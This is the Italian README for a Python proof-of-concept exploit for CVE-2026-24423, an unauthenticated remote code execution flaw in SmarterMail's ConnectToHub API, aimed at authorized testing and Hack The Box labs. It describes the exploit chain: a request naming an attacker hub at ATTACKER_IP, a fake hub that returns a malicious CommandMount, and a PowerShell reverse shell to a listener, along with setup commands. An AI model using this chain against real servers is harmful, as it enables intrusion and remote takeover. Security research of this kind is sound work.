
PoC RCE non autenticato per CVE-2026-24423 in SmarterTools SmarterMail (ConnectToHub). Solo per test di sicurezza autorizzati, CTF e ricerca.
Un exploit basato su Python per CVE-2026-24423, una vulnerabilità di Remote Code Execution non autenticata nella funzionalità ConnectToHub di SmarterTools SmarterMail.
Uso previsto: Solo per test di sicurezza autorizzati, CTF, laboratori Hack The Box e ambienti di ricerca controllati.
Utilizzare solo contro sistemi di propria proprietà o per i quali si è esplicitamente autorizzati a eseguire test. Vedere SECURITY.md.
# 1. Clone
git clone https://github.com/CyberAlp0/SmarterMail-CVE-2026-24423.git
cd SmarterMail-CVE-2026-24423
# 2. (Optional) create a virtual environment — no third-party deps required
python3 -m venv .venv && source .venv/bin/activate
# 3. Configure LHOST / LPORT / HUB_PORT at the top of MalHub.py
# (see the Configuration section below)
# 4. Start your reverse-shell listener, then run the hub
python3 MalHub.py
Richiede Python 3.6+ (solo libreria standard). Procedura completa nella sezione Utilizzo di seguito.
CVE-2026-24423 è una vulnerabilità di Remote Code Execution non autenticata che interessa SmarterTools SmarterMail.
La vulnerabilità risiede nella funzionalità ConnectToHub. Un attaccante non autenticato può fornire un hubAddress malevolo, causando l'invio di una richiesta HTTP da parte del server SmarterMail verso un server controllato dall'attaccante.
Il server malevolo risponde con una risposta setup-initial-connection appositamente costruita contenente un valore SystemMount.CommandMount controllato.
L'istanza vulnerabile di SmarterMail elabora successivamente questo valore come comando del sistema operativo, consentendo l'esecuzione arbitraria di comandi nel contesto di sicurezza del servizio SmarterMail.
Alla vulnerabilità è stato assegnato un punteggio CVSS 4.0 di 9.3 (Critico) ed è classificata come CWE-306: Missing Authentication for Critical Function.
| Campo | Valore |
|---|---|
| CVE | CVE-2026-24423 |
| Vendor | SmarterTools |
| Prodotto | SmarterMail |
| Vulnerabilità | Remote Code Execution non autenticata |
| CWE | CWE-306 |
| CVSS v4.0 | 9.3 Critico |
| CVSS v3.1 | 9.8 Critico |
| Vettore di Attacco | Rete |
| Autenticazione | Nessuna |
| Interazione Utente | Nessuna |
| Complessità | Bassa |
| Pubblicato | 23 gennaio 2026 |
| Build Corretta | 9511 |
Il record CVE ufficiale descrive il problema come una RCE non autenticata tramite il metodo API ConnectToHub.
Le versioni di SmarterMail precedenti alla Build 9511 sono affette.
Il record CVE specifica l'intervallo interessato come:
SmarterMail < 100.0.9511
La build 9511, rilasciata il 15 gennaio 2026, contiene la correzione del vendor.
< 100.0.9511
>= 100.0.9511
Verificare sempre la build esatta installata prima di tentare di riprodurre la vulnerabilità.
La funzionalità vulnerabile è esposta tramite l'API di amministrazione di sistema di SmarterMail.
L'operazione rilevante è:
/api/v1/settings/sysadmin/connect-to-hub
L'endpoint accetta un parametro hubAddress.
Concettualmente, un attaccante può fornire:
{
"hubAddress": "http://ATTACKER_IP:8081",
"oneTimePassword": "temporary-value",
"nodeName": "DC"
}
SmarterMail si connette quindi all'indirizzo hub fornito e richiede:
/web/api/node-management/setup-initial-connection
Il server controllato dall'attaccante risponde con un JSON contenente un oggetto SystemMount malevolo.
La proprietà importante è:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
Il valore CommandMount viene successivamente utilizzato dall'applicazione vulnerabile come comando del sistema operativo.
Ciò consente a un attaccante di passare da:
Richiesta HTTP non autenticata
a:
Esecuzione remota di comandi
L'analisi tecnica di VulnCheck conferma che l'hubAddress controllato dall'attaccante induce SmarterMail a richiedere l'endpoint setup-initial-connection dell'attaccante e che il CommandMount restituito può fornire l'esecuzione arbitraria di comandi.
L'exploit è composto da due componenti:
Il server Python è in ascolto per:
POST /web/api/node-management/setup-initial-connection
e restituisce una risposta JSON appositamente costruita contenente il SystemMount.CommandMount malevolo.
Un listener TCP separato riceve la connessione avviata dal comando eseguito sul target.
Questo exploit utilizza intenzionalmente due porte separate.
8081
└── Falso Hub SmarterMail
4455
└── Listener Reverse Shell
flowchart LR
A[Attacker<br/>10.10.14.50]
H[Fake SmarterMail Hub<br/>TCP/8081]
T[SmarterMail Target<br/>10.129.57.86]
C[CommandMount<br/>Command Execution]
P[PowerShell]
L[Reverse Shell Listener<br/>TCP/4455]
A -->|Trigger ConnectToHub| T
T -->|HTTP POST| H
H -->|Malicious JSON| T
T -->|CommandMount| C
C --> P
P -->|Reverse TCP| L
L --> A
Target
|
| HTTP
v
10.10.14.50:8081
Target
|
| TCP
v
10.10.14.50:4455
Queste porte hanno scopi diversi e non devono essere confuse.
L'exploit utilizza solo moduli della libreria standard di Python:
http.server
json
base64
Non sono richiesti pacchetti Python esterni.
Modificare le seguenti variabili:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
Per l'ambiente HTB di esempio:
LHOST = 10.10.14.50
LPORT = 4455
HUB_PORT = 8081
LHOST è l'indirizzo IP dell'attaccante che il target può raggiungere.
Per Hack The Box, questo è normalmente l'IP assegnato all'interfaccia VPN HTB:
ip addr show tun0
Esempio:
tun0:
inet 10.10.14.50
Pertanto:
LHOST = "10.10.14.50"
LPORT è la porta TCP utilizzata dall'attaccante per ricevere la connessione inversa.
Esempio:
LPORT = 4455